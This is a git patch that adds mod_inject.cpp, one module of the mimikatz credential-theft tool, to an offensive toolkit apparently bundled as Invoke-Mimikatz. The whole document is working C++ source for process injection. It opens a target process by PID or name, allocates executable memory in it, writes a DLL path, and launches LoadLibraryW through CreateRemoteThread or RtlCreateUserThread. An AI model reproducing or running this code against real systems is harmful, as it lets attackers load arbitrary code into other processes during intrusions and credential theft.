From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001
From: clymb3r <bialek.joseph@gmail.com>
Date: Tue, 1 Oct 2013 09:47:05 -0700
Subject: Adding Invoke-Mimikatz and Invoke-Ninjacopy

---
 Exfiltration/mimikatz-1.0/modules/mod_inject.cpp | 72 ++++++++++++++++++++++++
 1 file changed, 72 insertions(+)
 create mode 100644 Exfiltration/mimikatz-1.0/modules/mod_inject.cpp

(limited to 'Exfiltration/mimikatz-1.0/modules/mod_inject.cpp')

diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp
new file mode 100644
index 0000000..2547a2d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp
@@ -0,0 +1,72 @@
+/*	Benjamin DELPY `gentilkiwi`
+	http://blog.gentilkiwi.com
+	benjamin@gentilkiwi.com
+	Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_inject.h"
+
+bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath)
+{
+	bool reussite = false;
+
+	wstring maLibComplete = L"";
+	if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete))
+	{
+		bool fileExist = false;
+		if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist)
+		{
+			SIZE_T szFullLibraryPath = static_cast<SIZE_T>((maLibComplete.size() + 1) * sizeof(wchar_t));
+
+			if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
+			{
+				if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess))
+				{
+					PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast<PTHREAD_START_ROUTINE>(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW"));
+					HANDLE hRemoteThread = INVALID_HANDLE_VALUE;
+
+					if(mod_system::GLOB_Version.dwMajorVersion > 5)
+					{
+						PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast<PRTL_CREATE_USER_THREAD>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread"));
+						SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL));
+					}
+					else
+					{
+						hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL);
+					}
+
+					if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE)
+					{
+						WaitForSingleObject(hRemoteThread, INFINITE);
+						reussite = true;
+						CloseHandle(hRemoteThread);
+					}
+				}
+				VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE);
+			}
+		}
+	}
+	return reussite;
+}
+
+bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath)
+{
+	bool reussite = false;
+	if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
+	{
+		reussite = injectLibraryInHandle(processHandle, fullLibraryPath);
+		CloseHandle(processHandle);
+	}
+	return reussite;
+}
+
+bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath)
+{
+	bool reussite = false;
+
+	mod_process::KIWI_PROCESSENTRY32 monProcess;
+	if(mod_process::getUniqueForName(&monProcess, &processName))
+	{
+		reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath);
+	}
+	return reussite;	
+}
\ No newline at end of file
-- 
cgit v1.2.3